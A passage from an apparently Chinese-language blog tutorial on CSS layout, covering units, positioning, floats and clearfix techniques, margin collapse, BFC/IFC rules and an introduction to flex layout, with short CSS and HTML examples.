align="left">rem</td><td align="left">根元素（html）的 font-size</td></tr><tr><td align="left">vw</td><td align="left">viewpoint width，视窗宽度，1vw=视窗宽度的1%</td></tr><tr><td align="left">vh</td><td align="left">viewpoint height，视窗高度，1vh=视窗高度的1%</td></tr><tr><td align="left">vmin</td><td align="left">vw和vh中较小的那个。</td></tr><tr><td align="left">vmax</td><td align="left">vw和vh中较大的那个。</td></tr><tr><td align="left">%</td><td align="left">相对于父元素的长度、宽度百分比</td></tr></tbody></table><h2 id="CSS定位"><a href="#CSS定位" class="headerlink" title="CSS定位"></a>CSS定位</h2><p>CSS的定位机制共3种： <strong><code>文档流</code></strong>(标准流)、<strong><code>浮动</code></strong>和<strong><code>定位</code></strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line">文档流：根据便签样式，自左往右，自上而下显示</span><br><span class="line"></span><br><span class="line">浮动：一般设置浮动时，将先设置父盒子来控制可浮动范围，设置浮动后，将转化为行内块元素，脱标</span><br><span class="line"></span><br><span class="line">定位：常用定位方式：子绝父相</span><br><span class="line">static：主要用来清除定位</span><br><span class="line">relative：相对定位，占位置，不脱标</span><br><span class="line">abosolute：绝对定位，不占位置，脱标</span><br><span class="line">fixed: 固定定位，相对于浏览器窗口进行定位</span><br><span class="line"></span><br><span class="line">注意： 浮动和绝对定位都会脱离文档流</span><br></pre></td></tr></table></figure><table><thead><tr><th>position</th><th>描述</th></tr></thead><tbody><tr><td>static</td><td>自动定位（默认定位方式）</td></tr><tr><td>relative</td><td>相对定位，相对于其原文档流的位置进行定位</td></tr><tr><td>absolute</td><td>绝对定位，相对于其上一个已经定位的父元素进行定位</td></tr><tr><td>fixed</td><td>固定定位，相对于浏览器窗口进行定位</td></tr></tbody></table><table><thead><tr><th>定位模式</th><th>是否脱标占有位置</th><th>是否可以使用边偏移</th><th>移动位置基准</th></tr></thead><tbody><tr><td>静态static</td><td>不脱标，正常模式</td><td>不可以</td><td>正常模式</td></tr><tr><td>相对定位relative</td><td>脱标，占有位置</td><td>可以</td><td>相对自身位置移动（自恋型）</td></tr><tr><td>绝对定位absolute</td><td>完全脱标，不占有位置</td><td>可以</td><td>相对于定位父级移动位置（拼爹型）</td></tr><tr><td>固定定位fixed</td><td>完全脱标，不占有位置</td><td>可以</td><td>相对于浏览器移动位置（认死理型）</td></tr></tbody></table><h3 id="浮动"><a href="#浮动" class="headerlink" title="浮动"></a>浮动</h3><figure class="highlight css"><table><tr><td class="code"><pre><span class="line">浮动脱离标准流，不占位置，脱标，浮动只有左右浮动</span><br><span class="line"></span><br><span class="line">文档流（标准流）中不占位置 <span class="attribute">display</span>、block、 inline不遵循</span><br><span class="line"></span><br><span class="line"><span class="attribute">float</span>: left; 浮动</span><br><span class="line"><span class="attribute">none</span>：默认值。元素不浮动，并会显示在其在文本中出现的位置</span><br><span class="line"><span class="attribute">left</span>：元素向左浮动</span><br><span class="line"><span class="attribute">right</span>：元素向右浮动</span><br><span class="line">inherit：规定应该从父元素继承 <span class="attribute">float</span> 属性的值</span><br></pre></td></tr></table></figure><img src="https://www.w3school.com.cn/i/ct_css_positioning_floating_right_example.gif" ><img src="https://www.w3school.com.cn/i/ct_css_positioning_floating_left_example.gif" ><p>如果包含框太窄，无法容纳水平排列的三个浮动元素，那么其它浮动块向下移动，直到有足够的空间。如果浮动元素的高度不同，那么当它们向下移动时可能被其它浮动元素“卡住”</p><img src="https://www.w3school.com.cn/i/ct_css_positioning_floating_left_example_2.gif" ><img src="https://s2.ax1x.com/2020/02/03/10w68P.jpg" alt="10w68P.jpg" border="0" /><h3 id="清除浮动"><a href="#清除浮动" class="headerlink" title="清除浮动"></a>清除浮动</h3><p>清除浮动的本质：<code>清除浮动主要为了解决父级元素因为子级浮动引起内部高度为0 的问题</code></p><img src="https://s2.ax1x.com/2020/02/03/10wvVJ.jpg" alt="10wvVJ.jpg" border="0" /><img src="https://s2.ax1x.com/2020/02/03/100FKO.jpg" alt="100FKO.jpg" border="0" /><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="attribute">clear</span>: both; 左侧和右侧均不允许出现浮动元素</span><br><span class="line"><span class="attribute">none</span>：默认值。允许浮动元素出现在两侧</span><br><span class="line"><span class="attribute">left</span>：在左侧不允许浮动元素</span><br><span class="line"><span class="attribute">right</span>：在右侧不允许浮动元素</span><br><span class="line">both：在左右两侧均不允许浮动元素</span><br><span class="line">inherit：规定应该从父元素继承 <span class="attribute">clear</span> 属性的值</span><br></pre></td></tr></table></figure><p><strong>1、额外标签法</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line">在浮动元素末尾添加&lt;<span class="selector-tag">div</span> style=“<span class="attribute">clear</span>:both”&gt;&lt;/div&gt;</span><br></pre></td></tr></table></figure><p>说明：W3C推荐使用方式，但代码冗余性高，不推荐使用</p><p><strong>2、父级元素添加overflow属性</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line">给父级添加 <span class="attribute">overflow</span>:hidden / auto / scroll</span><br></pre></td></tr></table></figure><p>触发BFC，但无法显示溢出元素</p><p><strong>3、使用after伪元素</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.clearfix</span><span class="selector-pseudo">:after</span>&#123;</span><br><span class="line"><span class="attribute">content</span>:<span class="string">&quot;&quot;</span>;</span><br><span class="line"><span class="attribute">display</span>:block;</span><br><span class="line"><span class="attribute">height</span>:<span class="number">0</span>;</span><br><span class="line"><span class="attribute">clear</span>:both; <span class="comment">/*额外标签法*/</span>   </span><br><span class="line"><span class="attribute">visibility</span>:hidden; <span class="comment">/* 隐藏盒子 */</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="selector-class">.clearfix</span>&#123;</span><br><span class="line">*<span class="attribute">zoom</span>:<span class="number">1</span>; <span class="comment">/*兼容IE6，IE7，IE6清楚浮动的方式 */</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>因为这个伪元素属于行内元素，没有宽高，所以要block转换为块级元素</p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line">使用：父元素添加类：class=&quot;clearfix&quot;</span><br></pre></td></tr></table></figure><p><strong>4、双伪元素法，推荐使用</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.clearfix</span><span class="selector-pseudo">:before</span>, <span class="selector-class">.clearfix</span><span class="selector-pseudo">:after</span>&#123;</span><br><span class="line"><span class="attribute">content</span>:<span class="string">&quot;&quot;</span>;</span><br><span class="line"><span class="attribute">display</span>:table:</span><br><span class="line">&#125;</span><br><span class="line"><span class="selector-class">.clearfix</span><span class="selector-pseudo">:after</span>&#123;</span><br><span class="line"><span class="attribute">clear</span>:both;</span><br><span class="line">&#125;</span><br><span class="line"><span class="selector-class">.clearfix</span>&#123;</span><br><span class="line"> *<span class="attribute">zoom</span>:<span class="number">1</span>;</span><br><span class="line">&#125; </span><br></pre></td></tr></table></figure><figure class="highlight css"><table><tr><td class="code"><pre><span class="line">使用：父元素添加类：class=&quot;clearfix&quot;</span><br></pre></td></tr></table></figure><h3 id="相对定位"><a href="#相对定位" class="headerlink" title="相对定位"></a>相对定位</h3><p><strong><code>设置为相对定位的元素框会偏移某个距离。元素仍然保持其未定位前的形状，它原本所占的空间仍保留</code></strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.box2</span> &#123;</span><br><span class="line">  <span class="attribute">position</span>: relative;</span><br><span class="line">  <span class="attribute">left</span>: <span class="number">30px</span>;</span><br><span class="line">  <span class="attribute">top</span>: <span class="number">20px</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><img src="https://www.w3school.com.cn/i/ct_css_positioning_relative_example.gif" ><p>注意，在使用相对定位时，无论是否进行移动，元素仍然占据原来的空间。因此，移动元素会导致它覆盖其它框</p><h3 id="绝对定位"><a href="#绝对定位" class="headerlink" title="绝对定位"></a>绝对定位</h3><p><strong><code>设置为绝对定位的元素框从文档流完全删除，并相对于其包含块定位，包含块可能是文档中的另一个元素或者是初始包含块。元素原先在正常文档流中所占的空间会关闭，就好像该元素原来不存在一样。元素定位后生成一个块级框，而不论原来它在正常流中生成何种类型的框</code></strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.box2</span> &#123;</span><br><span class="line">  <span class="attribute">position</span>: absolute;</span><br><span class="line">  <span class="attribute">left</span>: <span class="number">30px</span>;</span><br><span class="line">  <span class="attribute">top</span>: <span class="number">20px</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><img src="https://www.w3school.com.cn/i/ct_css_positioning_absolute_example.gif" ><p>绝对定位的元素的位置相对于最近的<code>已定位祖先元素</code>，如果元素没有已定位的祖先元素，那么它的位置相对于<code>最初的包含块</code></p><h2 id="外边距合并"><a href="#外边距合并" class="headerlink" title="外边距合并"></a>外边距合并</h2><p>简单地说，外边距合并指的是，当两个垂直外边距相遇时，它们将形成一个外边距。合并后的外边距的高度等于两个发生合并的外边距的高度中的较大者</p><img src="https://s2.ax1x.com/2020/02/03/1002J1.jpg" alt="1002J1.jpg" border="0" /><p><strong>相邻块元素垂直外边距的合并</strong></p><p>当上下相邻的两个<code>块元素</code>相遇时，如果上面的元素有下外边距margin-bottom，下面的元素有上外边距margin-top，则他们之间的垂直间距不是margin-bottom与margin-top之和，而是两者中的较大者。这种现象被称为相邻块元素垂直外边距的合并（也称外边距塌陷）</p><img src="https://www.w3school.com.cn/i/ct_css_margin_collapsing_example_1.gif" /><p><strong>嵌套块元素垂直外边距的合并</strong></p><p>对于两个嵌套关系的块元素，如果父元素没有上内边距及边框，则父元素的上外边距会与子元素的上外边距发生合并，合并后的外边距为两者中的较大者，即使父元素的上外边距为0，也会发生合并。</p><img src="https://www.w3school.com.cn/i/ct_css_margin_collapsing_example_2.gif" /><p><strong>其他情况</strong></p><p>假设有一个空元素，它有外边距，但是没有边框或填充。在这种情况下，上外边距与下外边距就碰到了一起，它们会发生合并</p><img src="https://www.w3school.com.cn/i/ct_css_margin_collapsing_example_3.gif"><p> 如果这个外边距遇到另一个元素的外边距，它还会发生合并 </p><img src="https://www.w3school.com.cn/i/ct_css_margin_collapsing_example_4.gif" ><p><strong>解决方案</strong></p><ul><li>可以为父元素定义1像素的上边框或上内边距</li><li>可以为父元素添加<code>overflow:hidden</code></li></ul><figure class="highlight css"><table><tr><td class="code"><pre><span class="line">兄弟和兄弟之间垂直方向相遇 </span><br><span class="line"><span class="number">1</span>.浮动 定位特性 </span><br><span class="line"><span class="number">2</span>.给父级 <span class="attribute">overflow</span>:hidden; 溢出的处理  hidden隐藏  bfc</span><br><span class="line"><span class="number">3</span>.给父级 <span class="attribute">display</span>:inline-block;</span><br></pre></td></tr></table></figure><h2 id="BFC-块级格式化上下文"><a href="#BFC-块级格式化上下文" class="headerlink" title="BFC(块级格式化上下文)"></a>BFC(块级格式化上下文)</h2><blockquote><p>BFC块级格式化上下文，是一个独立的布局环境，其中的元素布局是不受外界的影响</p></blockquote><p><strong>它决定了块级元素如何对它的内容进行布局，以及与其他元素的关系和相互关系</strong></p><p>​    块级元素：父级（块元素）</p><p>​    内容：子元素（块元素）</p><p>​    其他元素：与内容同级别的兄弟元素</p><p>*<em>相互作用：BFC里的元素与外面的元素不会发生影响 *</em></p><p><strong>什么情况下可以触发BFC</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="number">1</span>. <span class="attribute">float</span>属性不为<span class="attribute">none</span></span><br><span class="line"><span class="number">2</span>. <span class="attribute">position</span>为absolute或fixed</span><br><span class="line"><span class="number">3</span>. <span class="attribute">display</span>为inline-block, <span class="selector-tag">table</span>-cell, <span class="selector-tag">table</span>-<span class="selector-tag">caption</span>, <span class="attribute">flex</span>, inline-<span class="attribute">flex</span></span><br><span class="line"><span class="number">4</span>. <span class="attribute">overflow</span>不为visible( hidden、scroll、auto)</span><br></pre></td></tr></table></figure><p><strong>BFC布局规则特性</strong></p><ul><li><p>在BFC中，内部的盒子会在垂直方向，一个接一个地排列</p></li><li><p>在BFC中，盒子垂直方向的距离由margin决定，属于同一个BFC的两个相邻盒子的margin会发生重叠</p></li><li><p>在BFC中，每一个盒子（块盒与行盒）的左外边缘（margin-left）会触碰到容器的左边缘(border-left)，对于从左往右的格式化，否则相反，即使存在浮动也是如此</p></li><li><p>BFC的区域不会与浮动盒子产生交集，而是紧贴浮动盒子边缘</p></li><li><p>BFC就是页面上的一个隔离的独立容器，容器里面的子元素不会影响到外面的元素。反之也如此</p></li><li><p>计算BFC的高度时，自然也会检测浮动或者定位的盒子高度</p></li></ul><p><strong>BFC的主要作用</strong></p><ul><li>利用BFC避免垂直margin重叠</li><li>清除元素内部浮动</li><li>自适应右侧盒子布局</li></ul><p><strong><code>利用BFC避免垂直margin重叠</code></strong></p><figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">style</span>&gt;</span><span class="language-css"></span></span><br><span class="line"><span class="language-css">    <span class="selector-tag">p</span> &#123;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">color</span>: <span class="number">#f55</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">background</span>: <span class="number">#fcc</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">width</span>: <span class="number">200px</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">line-height</span>: <span class="number">100px</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">text-align</span>: center;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">margin</span>: <span class="number">100px</span>;</span></span><br><span class="line"><span class="language-css">    &#125;</span></span><br><span class="line"><span class="language-css"></span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">p</span>&gt;</span>Haha<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">p</span>&gt;</span>Hehe<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br></pre></td></tr></table></figure><img src="http://p5.qhimg.com/t01b47b8b7d153c07cc.png" ><p>两个p盒子的实际垂直距离为100px，而不是200px，其实就是外边距合并问题</p><p>根据BFC规则：在BFC中，盒子垂直方向的距离由margin决定，属于同一个BFC的两个相邻盒子的margin会发生重叠</p><p><strong>解决办法：</strong>我们可以让把第二个p用div包起来，然后激活它使其成为一个BFC</p><figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">style</span>&gt;</span><span class="language-css"></span></span><br><span class="line"><span class="language-css">    <span class="selector-tag">p</span> &#123;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">color</span>: <span class="number">#f55</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">background</span>: <span class="number">#fcc</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">width</span>: <span class="number">200px</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">line-height</span>: <span class="number">100px</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">text-align</span>: center;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">margin</span>: <span class="number">100px</span>;</span></span><br><span class="line"><span class="language-css">    &#125;</span></span><br><span class="line"><span class="language-css">    <span class="selector-class">.wrap</span> &#123;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">overflow</span>: hidden;</span></span><br><span class="line"><span class="language-css">    &#125;</span></span><br><span class="line"><span class="language-css"></span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">p</span>&gt;</span>Haha<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;wrap&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">p</span>&gt;</span>Hehe<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">div</span>&gt;</span>  </span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong><code>清除元素内部浮动</code></strong></p><figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">style</span>&gt;</span><span class="language-css"></span></span><br><span class="line"><span class="language-css"><span class="selector-class">.parent</span> &#123;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">border</span>: <span class="number">5px</span> solid <span class="number">#fcc</span>;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">width</span>: <span class="number">300px</span>;</span></span><br><span class="line"><span class="language-css"> &#125;</span></span><br><span class="line"><span class="language-css"> </span></span><br><span class="line"><span class="language-css"><span class="selector-class">.child</span> &#123;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">border</span>: <span class="number">5px</span> solid <span class="number">#f66</span>;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">width</span>: <span class="number">100px</span>;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">height</span>: <span class="number">100px</span>;</span></span><br><span class="line"><span class="language-css">    <span class="attribute">float</span>: left;</span></span><br><span class="line"><span class="language-css">&#125;</span></span><br><span class="line"><span class="language-css"></span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;parent&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;child&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;child&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br></pre></td></tr></table></figure><img src="http://p1.qhimg.com/t016035b58195e7909a.png" ><p>由于子盒子设置了float浮动，脱离了文档流，导致父盒子高度为0</p><p>根据BFC规则：计算BFC的高度时，自然也会检测浮动或者定位的盒子高度</p><p><strong>解决办法：</strong>只要把父元素设为BFC就可以清理子元素的浮动了，最常见的用法就是在父元素上设置<code>overflow: hidden</code>样式，对于IE6加上zoom:1就可以了</p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.parent</span> &#123;</span><br><span class="line">    <span class="attribute">overflow</span>: hidden;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><img src="http://p2.qhimg.com/t016bbbe5236ef1ffd5.png" /><p><strong><code>自适应右侧盒子布局</code></strong></p><figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">style</span>&gt;</span><span class="language-css"></span></span><br><span class="line"><span class="language-css">    <span class="selector-class">.box</span> &#123;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">width</span>: <span class="number">300px</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">position</span>: relative;</span></span><br><span class="line"><span class="language-css">    &#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css">    <span class="selector-class">.left</span> &#123;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">width</span>: <span class="number">100px</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">height</span>: <span class="number">150px</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">float</span>: left;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">background</span>: <span class="number">#f66</span>;</span></span><br><span class="line"><span class="language-css">    &#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css">    <span class="selector-class">.right</span> &#123;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">height</span>: <span class="number">200px</span>;</span></span><br><span class="line"><span class="language-css">        <span class="attribute">background</span>: <span class="number">#fcc</span>;</span></span><br><span class="line"><span class="language-css">    &#125;</span></span><br><span class="line"><span class="language-css"></span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;box&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;left&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;right&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br></pre></td></tr></table></figure><img src="http://p1.qhimg.com/d/inn/4055c62a/4dca44a927d4c1ffc30e3ae5f53a0b79.png" ><p>BFC规则：</p><p>​    在BFC中，每一个盒子（块盒与行盒）的左外边缘（margin-left）会触碰到容器的左边缘(border-left)，对于从左往右的格式化，否则相反，即使存在浮动也是如此</p><p>​    BFC的区域不会与浮动盒子产生交集，而是紧贴浮动盒子边缘</p><p><strong>解决办法：</strong>通过触发right生成BFC， 来实现自适应两栏布局</p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.right</span> &#123;</span><br><span class="line">    <span class="attribute">overflow</span>: hidden;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>当触发main生成BFC后，这个新的BFC不会与浮动的left重叠。因此会根据包含块的宽度，和left的宽度，自动变窄。效果如下</p><img src="http://p6.qhimg.com/t01077886a9706cb26b.png" ><p><strong>BFC布局与普通文档流布局区别</strong><br>普通文档流布局规则</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">1. 浮动的元素是不会被父级计算高度</span><br><span class="line">2. 非浮动元素会覆盖浮动元素的位置</span><br><span class="line">3. margin会传递给父级</span><br><span class="line">4. 两个相邻元素上下margin会重叠</span><br></pre></td></tr></table></figure><p>BFC布局规则</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">1. 浮动的元素会被父级计算高度（父级触发了BFC）</span><br><span class="line">2. 非浮动元素不会覆盖浮动元素位置（非浮动元素触发了BFC）</span><br><span class="line">3. margin不会传递给父级（父级触发了BFC）</span><br><span class="line">4. 两个相邻元素上下margin不会重叠（给其中一个元素增加一个父级，然后让他的父级触发BFC）           </span><br></pre></td></tr></table></figure><h2 id="IFC-行级格式化上下文"><a href="#IFC-行级格式化上下文" class="headerlink" title="IFC(行级格式化上下文)"></a>IFC(行级格式化上下文)</h2><p>IFC布局规则</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">1. 内联元素会在水平方向一个个地放置</span><br><span class="line">2. IFC地高度是由最高盒子的高度决定地</span><br><span class="line">3. 当一行不够放置的时候会自动切换到下一行</span><br><span class="line">4. 内部元素水平方向的margin、padding、border有效，垂直方向上无效</span><br></pre></td></tr></table></figure><h2 id="CSS3-flex布局"><a href="#CSS3-flex布局" class="headerlink" title="CSS3-flex布局"></a>CSS3-flex布局</h2><h3 id="flex-简介"><a href="#flex-简介" class="headerlink" title="flex 简介"></a>flex 简介</h3><p>也叫<strong><code>伸缩布局</code></strong></p><blockquote><p>​    布局的传统解决方案，基于盒状模型，依赖 display 属性 + position属性 + float属性。它对于那些特殊布局非常不方便，比如，垂直居中就不容易实现。</p><p>​    CSS3在布局方面做了非常大的改进，使得我们对块级元素的布局排列变得十分灵活，适应性非常强，其强大的伸缩性，在响应式开中可以发挥极大的作用。</p></blockquote><p>​    2009年，W3C 提出了一种新的方案—-Flex 布局，可以简便、完整、响应式地实现各种页面布局。目前，它已经得到了所有浏览器的支持，这意味着，现在就能很安全地使用这项功能</p><img src="http://www.ruanyifeng.com/blogimg/asset/2015/bg2015071003.jpg" /><p>Flex 是 Flexible Box 的缩写，意为<strong><code>弹性布局</code></strong>，用来为盒状模型提供最大的灵活性。</p><p><strong>任何一个容器都可以指定为 Flex 布局</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.box</span>&#123;</span><br><span class="line">  <span class="attribute">display</span>: flex;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>行内元素也可以使用 Flex 布局</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.box</span>&#123;</span><br><span class="line">  <span class="attribute">display</span>: inline-flex;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>Webkit 内核的浏览器，必须加上-webkit前缀</strong></p><figure class="highlight css"><table><tr><td class="code"><pre><span class="line"><span class="selector-class">.box</span>&#123;</span><br><span class="line">  <span class="attribute">display</span>: -webkit-flex; <span class="comment">/* Safari */</span></span><br><span class="line">  <span class="attribute">display</span>: flex;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>注意，设为 Flex 布局以后，子元素的<code>float</code>、<code>clear</code>和<code>vertical-align</code>属性将失效</p><h3 id="基本概念"><a href="#基本概念" class="headerlink" title="基本概念"></a>基本概念</h3><p>采用 Flex 布局的元素，称为 Flex 容器（flex container），简称<strong>容器</strong>。它的所有子元素自动成为容器成员，称为 Flex 项目（flex item），简称<strong>项目</strong></p><img src="http://www.ruanyifeng.com/blogimg/asset/2015/bg2015071004.png" /><p>容器默认存在两根轴：水平的主轴（main axis）和垂直的交叉轴（cross axis）。主轴的开始位置（与边框的交叉点）叫做main start，结束位置叫做main end；交叉轴的开始位置叫做cross start，结束位置叫做cross end。</p><p>项目默认沿主轴排列。单个项目占据的主轴空间叫做main size，占据的交叉轴空间叫做cross size。</p><p>主轴：默认是水平方向</p><p>侧轴：默认是垂直方向</p><h3 id="容器属性"><a href="#容器属性" class="headerlink" title="容器属性"></a>容器属性</h3><h4 id="一个简单的例子"><a href="#一个简单的例子" class="headerlink" title="一个简单的例子"></a>一个简单的例子</h4><figure class="highlight html"><table><tr><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span> <span class="attr">lang</span>=<span class="string">&quot;en&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">&quot;UTF-8&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>flex布局<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">style</span>&gt;</span><span class="language-css"></span></span><br><span class="line"><span class="language-css">        * &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">padding</span>: <span class="number">0</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">margin</span>: <span class="number">0</span>;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css">        <span class="selector-class">.box</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">width</span>: <span class="number">500px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">height</span>: <span class="number">200px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">background-color</span>: <span class="number">#ccc</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">color</span>: <span class="number">#666</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">margin</span>: <span class="number">0</span> auto;</span></span><br><span class="line"><span class="language-css">            <span class="comment">/* 设置父容器的为伸缩盒子 */</span></span></span><br><span class="line"><span class="language-css">            <span class="attribute">display</span>: flex;</span></span><br><span class="line"><span class="language-css">            <span class="comment">/* 设置子元素在主轴方向上的排列方式 */</span></span></span><br><span class="line"><span class="language-css">            <span class="comment">/* justify-content: flex-start; */</span></span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css">        <span class="selector-class">.left</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">flex</span>: <span class="number">1</span>; <span class="comment">/* flex是用来设置当前伸缩子项占据剩余空间的比例值 */</span></span></span><br><span class="line"><span class="language-css">            <span class="attribute">height</span>: <span class="number">200px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">background-color</span>: pink;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css">        <span class="selector-class">.right</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">flex</span>: <span class="number">4</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">height</span>: <span class="number">200px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">background-color</span>: skyblue;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css">    </span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;box&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;left&quot;</span>&gt;</span>flex: 1=100<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span 